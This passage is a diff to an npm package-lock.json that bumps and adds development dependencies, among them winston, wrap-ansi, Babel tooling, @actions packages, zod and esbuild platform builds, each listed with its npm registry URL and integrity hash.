"sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true, + "license": "MIT" + }, + "node_modules/vscode-tmgrammar-test/node_modules/commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.20.0 || >=14" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/wide-align": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==", @@ -10608,6 +11404,86 @@ "string-width": "^1.0.2 || 2 || 3 || 4" } }, + "node_modules/winston": { + "version": "3.18.3", + "resolved": "https://registry.npmjs.org/winston/-/winston-3.18.3.tgz", + "integrity": "sha512-NoBZauFNNWENgsnC9YpgyYwOVrl2m58PpQ8lNHjV3kosGs7KJ7Npk9pCUE+WJlawVSe8mykWDKWFSVfs3QO9ww==", + "dev": true, + "dependencies": { + "@colors/colors": "^1.6.0", + "@dabh/diagnostics": "^2.0.8", + "async": "^3.2.3", + "is-stream": "^2.0.0", + "logform": "^2.7.0", + "one-time": "^1.0.0", + "readable-stream": "^3.4.0", + "safe-stable-stringify": "^2.3.1", + "stack-trace": "0.0.x", + "triple-beam": "^1.3.0", + "winston-transport": "^4.9.0" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/winston-transport": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/winston-transport/-/winston-transport-4.9.0.tgz", + "integrity": "sha512-8drMJ4rkgaPo1Me4zD/3WLfI/zPdA9o2IipKODunnGDcuqbHwjsbB79ylv04LCGGzU0xQ6vTznOMpQGaLhhm6A==", + "dev": true, + "license": "MIT", + "dependencies": { + "logform": "^2.7.0", + "readable-stream": "^3.6.2", + "triple-beam": "^1.3.0" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/winston-transport/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/winston/node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/winston/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, "node_modules/wordwrap": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", @@ -10623,18 +11499,17 @@ "license": "Apache-2.0" }, "node_modules/wrap-ansi": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.2.tgz", + "integrity": "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==", "dev": true, - "license": "MIT", "dependencies": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" + "ansi-styles": "^6.2.1", + "string-width": "^7.0.0", + "strip-ansi": "^7.1.0" }, "engines": { - "node": ">=10" + "node": ">=18" }, "funding": { "url": "https://github.com/chalk/wrap-ansi?sponsor=1" @@ -10657,6 +11532,68 @@ "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } }, + "node_modules/wrap-ansi/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/emoji-regex": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.6.0.tgz", + "integrity": "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==", + "dev": true + }, + "node_modules/wrap-ansi/node_modules/string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "dev": true, + "dependencies": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, "node_modules/wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", @@ -10709,11 +11646,10 @@ "dev": true }, "node_modules/yaml": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.0.tgz", - "integrity": "sha512-4lLa/EcQCB0cJkyts+FpIRx5G/llPxfP6VQU5KByHEhLxY3IJCH0f0Hy1MHI8sClTvsIb8qwRJ6R/ZdlDJ/leQ==", + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.1.tgz", + "integrity": "sha512-lcYcMxX2PO9XMGvAJkJ3OsNMw+/7FKes7/hgerGUYWIoWu5j/+YQqcZr5JnPZWzOsEBgMbSbiSTn/dv/69Mkpw==", "dev": true, - "license": "ISC", "bin": { "yaml": "bin.mjs" }, @@ -10726,7 +11662,6 @@ "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", "dev": true, - "license": "MIT", "dependencies": { "cliui": "^8.0.1", "escalade": "^3.1.1", @@ -10856,9 +11791,9 @@ } }, "node_modules/zod": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.0.5.tgz", - "integrity": "sha512-/5UuuRPStvHXu7RS+gmvRf4NXrNxpSllGwDnCBcJZtQsKrviYXm54yDGV2KYNLT5kq0lHGcl7lqWJLgSaG+tgA==", + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.1.5.tgz", + "integrity": "sha512-rcUUZqlLJgBC33IT3PNMgsCq6TzLQEG/Ei/KTCU0PedSWRMAXoOUN+4t/0H+Q8bdnLPdqUYnvboJT0bn/229qg==", "funding": { "url": "https://github.com/sponsors/colinhacks" } @@ -10871,6 +11806,41 @@ "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==", "dev": true }, + "@actions/core": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@actions/core/-/core-1.11.1.tgz", + "integrity": "sha512-hXJCSrkwfA46Vd9Z3q4cpEpHB1rL5NG04+/rbqW9d3+CSvtB1tYe8UTpAlixa1vj0m/ULglfEK2UKxMGxCxv5A==", + "dev": true, + "requires": { + "@actions/exec": "^1.1.1", + "@actions/http-client": "^2.0.1" + } + }, + "@actions/exec": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@actions/exec/-/exec-1.1.1.tgz", + "integrity": "sha512-+sCcHHbVdk93a0XT19ECtO/gIXoxvdsgQLzb2fE2/5sIZmWQuluYyjPQtrtTHdU1YzTZ7bAPN4sITq2xi1679w==", + "dev": true, + "requires": { + "@actions/io": "^1.0.1" + } + }, + "@actions/http-client": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/@actions/http-client/-/http-client-2.2.3.tgz", + "integrity": "sha512-mx8hyJi/hjFvbPokCg4uRd4ZX78t+YyRPtnKWwIl+RzNaVuFpQHfmlGVfsKEJN8LwTCvL+DfVgAM04XaHkm6bA==", + "dev": true, + "requires": { + "tunnel": "^0.0.6", + "undici": "^5.25.4" + } + }, + "@actions/io": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@actions/io/-/io-1.1.3.tgz", + "integrity": "sha512-wi9JjgKLYS7U/z8PPbco+PvTb/nRWjeoFlJ1Qer83k/3C5PHQi28hiVdeE2kHXmIL99mQFawx8qt/JPjZilJ8Q==", + "dev": true + }, "@azu/format-text": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/@azu/format-text/-/format-text-1.0.2.tgz", @@ -11076,197 +12046,284 @@ "picocolors": "^1.1.1" } }, + "@babel/generator": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.3.tgz", + "integrity": "sha512-3lSpxGgvnmZznmBkCRnVREPUFJv2wrv9iAoFDvADJc0ypmdOxdUtcLeBgBJ6zE0PMeTKnxeQzyk0xTBq4Ep7zw==", + "dev": true, + "requires": { + "@babel/parser": "^7.28.3", + "@babel/types": "^7.28.2", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + } + }, + "@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "dev": true + }, + "@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "dev": true + }, "@babel/helper-validator-identifier": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz", "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==", "dev": true }, + "@babel/parser": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.3.tgz", + "integrity": "sha512-7+Ey1mAgYqFAx2h0RuoxcQT5+MlG3GTV0TQrgr7/ZliKsm/MNDxVVutlWaziMq7wJNAz8MTqz55XLpWvva6StA==", + "dev": true, + "requires": { + "@babel/types": "^7.28.2" + } + }, + "@babel/template": { + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", + "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.27.1", + "@babel/parser": "^7.27.2", + "@babel/types": "^7.27.1" + } + }, + "@babel/traverse": { + "version": "7.28.3", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.3.tgz", + "integrity": "sha512-7w4kZYHneL3A6NP2nxzHvT3HCZ7puDZZjFMqDpBPECub79sTtSO5CGXDkKrTQq8ksAwfD/XI2MRFX23njdDaIQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.3", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.28.3", + "@babel/template": "^7.27.2", + "@babel/types": "^7.28.2", + "debug": "^4.3.1" + } + }, + "@babel/types": { + "version": "7.28.2", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.2.tgz", + "integrity": "sha512-ruv7Ae4J5dUYULmeXw1gmb7rYRz57OWCPM57pHojnLq/3Z1CK2lNSLTCVjxVk1F/TZHwOZZrOWi0ur95BbLxNQ==", + "dev": true, + "requires": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1" + } + }, "@bcoe/v8-coverage": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", - "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-1.0.2.tgz", + "integrity": "sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==", + "dev": true + }, + "@colors/colors": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.6.0.tgz", + "integrity": "sha512-Ir+AOibqzrIsL6ajt3Rz3LskB7OiMVHqltZmspbW/TJuTVuyOMirVqAkjfY6JISiLHgyNqicAC8AyHHGzNd/dA==", "dev": true }, + "@dabh/diagnostics": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/@dabh/diagnostics/-/diagnostics-2.0.8.tgz", + "integrity": "sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q==", + "dev": true, + "requires": { + "@so-ric/colorspace": "^1.1.6", + "enabled": "2.0.x", + "kuler": "^2.0.0" + } + }, "@esbuild/aix-ppc64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.8.tgz", - "integrity": "sha512-urAvrUedIqEiFR3FYSLTWQgLu5tb+m0qZw0NBEasUeo6wuqatkMDaRT+1uABiGXEu5vqgPd7FGE1BhsAIy9QVA==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", "dev": true, "optional": true }, "@esbuild/android-arm": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.8.tgz", - "integrity": "sha512-RONsAvGCz5oWyePVnLdZY/HHwA++nxYWIX1atInlaW6SEkwq6XkP3+cb825EUcRs5Vss/lGh/2YxAb5xqc07Uw==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", "dev": true, "optional": true }, "@esbuild/android-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.8.tgz", - "integrity": "sha512-OD3p7LYzWpLhZEyATcTSJ67qB5D+20vbtr6vHlHWSQYhKtzUYrETuWThmzFpZtFsBIxRvhO07+UgVA9m0i/O1w==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", "dev": true, "optional": true }, "@esbuild/android-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.8.tgz", - "integrity": "sha512-yJAVPklM5+4+9dTeKwHOaA+LQkmrKFX96BM0A/2zQrbS6ENCmxc4OVoBs5dPkCCak2roAD+jKCdnmOqKszPkjA==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", "dev": true, "optional": true }, "@esbuild/darwin-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.8.tgz", - "integrity": "sha512-Jw0mxgIaYX6R8ODrdkLLPwBqHTtYHJSmzzd+QeytSugzQ0Vg4c5rDky5VgkoowbZQahCbsv1rT1KW72MPIkevw==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", "dev": true, "optional": true }, "@esbuild/darwin-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.8.tgz", - "integrity": "sha512-Vh2gLxxHnuoQ+GjPNvDSDRpoBCUzY4Pu0kBqMBDlK4fuWbKgGtmDIeEC081xi26PPjn+1tct+Bh8FjyLlw1Zlg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", "dev": true, "optional": true }, "@esbuild/freebsd-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.8.tgz", - "integrity": "sha512-YPJ7hDQ9DnNe5vxOm6jaie9QsTwcKedPvizTVlqWG9GBSq+BuyWEDazlGaDTC5NGU4QJd666V0yqCBL2oWKPfA==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", "dev": true, "optional": true }, "@esbuild/freebsd-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.8.tgz", - "integrity": "sha512-MmaEXxQRdXNFsRN/KcIimLnSJrk2r5H8v+WVafRWz5xdSVmWLoITZQXcgehI2ZE6gioE6HirAEToM/RvFBeuhw==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", "dev": true, "optional": true }, "@esbuild/linux-arm": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.8.tgz", - "integrity": "sha512-FuzEP9BixzZohl1kLf76KEVOsxtIBFwCaLupVuk4eFVnOZfU+Wsn+x5Ryam7nILV2pkq2TqQM9EZPsOBuMC+kg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", "dev": true, "optional": true }, "@esbuild/linux-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.8.tgz", - "integrity": "sha512-WIgg00ARWv/uYLU7lsuDK00d/hHSfES5BzdWAdAig1ioV5kaFNrtK8EqGcUBJhYqotlUByUKz5Qo6u8tt7iD/w==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", "dev": true, "optional": true }, "@esbuild/linux-ia32": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.8.tgz", - "integrity": "sha512-A1D9YzRX1i+1AJZuFFUMP1E9fMaYY+GnSQil9Tlw05utlE86EKTUA7RjwHDkEitmLYiFsRd9HwKBPEftNdBfjg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", "dev": true, "optional": true }, "@esbuild/linux-loong64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.8.tgz", - "integrity": "sha512-O7k1J/dwHkY1RMVvglFHl1HzutGEFFZ3kNiDMSOyUrB7WcoHGf96Sh+64nTRT26l3GMbCW01Ekh/ThKM5iI7hQ==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", "dev": true, "optional": true }, "@esbuild/linux-mips64el": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.8.tgz", - "integrity": "sha512-uv+dqfRazte3BzfMp8PAQXmdGHQt2oC/y2ovwpTteqrMx2lwaksiFZ/bdkXJC19ttTvNXBuWH53zy/aTj1FgGw==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", "dev": true, "optional": true }, "@esbuild/linux-ppc64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.8.tgz", - "integrity": 